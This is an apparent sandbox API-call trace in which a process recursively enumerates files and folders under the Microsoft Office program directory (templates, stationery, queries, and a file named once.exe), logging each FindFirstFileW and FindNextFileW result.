	[0256.314] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1
	[0256.314] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0256.399] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.399] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49110e00, ftCreationTime.dwHighDateTime=0x1bf97c1, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49110e00, ftLastWriteTime.dwHighDateTime=0x1bf97c1, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Currency Rates.iqy", cAlternateFileName="MSNMON~1.IQY")) returned 1
	[0257.212] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0257.212] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42c9c88 | out: hHeap=0x4a0000) returned 1
	[0257.212] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccffc00, ftCreationTime.dwHighDateTime=0x1c43c6f, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbccffc00, ftLastWriteTime.dwHighDateTime=0x1c43c6f, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1
	[0257.212] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0257.212] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1cc8 | out: hHeap=0x4a0000) returned 1
	[0257.212] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15c02e00, ftCreationTime.dwHighDateTime=0x1d4e987, ftLastAccessTime.dwLowDateTime=0x10ec6550, ftLastAccessTime.dwHighDateTime=0x1d4f43c, ftLastWriteTime.dwLowDateTime=0x10ec6550, ftLastWriteTime.dwHighDateTime=0x1d4f43c, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="once.exe", cAlternateFileName="")) returned 1
	[0257.212] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0257.213] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.213] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0257.213] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0257.215] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.215] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x176f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.GIF", cAlternateFileName="")) returned 1
	[0257.215] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0257.216] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42c9c88 | out: hHeap=0x4a0000) returned 1
	[0257.216] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0257.216] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0257.216] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1cc8 | out: hHeap=0x4a0000) returned 1
	[0257.216] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0257.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0257.217] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.217] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0257.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0257.220] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.221] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1
	[0257.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0257.224] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.224] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2355ff00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2355ff00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xfd04e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets.accdt", cAlternateFileName="ASSETS~1.ACC")) returned 1
	[0257.224] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0257.226] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.226] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2224d200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2224d200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Address.accft", cAlternateFileName="ADDRES~1.ACC")) returned 1
	[0257.227] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0257.227] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x420dce8 | out: hHeap=0x4a0000) returned 1
	[0257.227] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events.accdt", cAlternateFileName="EVENTS~1.ACC")) returned 1
	[0257.227] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0257.230] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.230] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bae3a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bae3a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Right.accdt", cAlternateFileName="1RIGHT~1.ACC")) returned 1
	[0257.230] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0257.231] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x420dce8 | out: hHeap=0x4a0000) returned 1
	[0257.231] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects.accdt", cAlternateFileName="PROJEC~1.ACC")) returned 1
	[0257.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0257.231] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.231] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1353a200, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1353a200, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x377c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="107.accdt", cAlternateFileName="107~1.ACC")) returned 1
	[0257.231] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0257.231] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x420dce8 | out: hHeap=0x4a0000) returned 1
	[0257.231] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 0
	[0257.231] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0257.231] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0257.231] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1
	[0257.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0257.235] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.235] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityFax.Dotx", cAlternateFileName="EQUITY~1.DOT")) returned 1
	[0257.236] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0257.236] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0257.236] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5d65210, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x1fa5cb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiveRules.potx", cAlternateFileName="FIVERU~1.POT")) returned 1
	[0257.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0257.238] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.238] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1
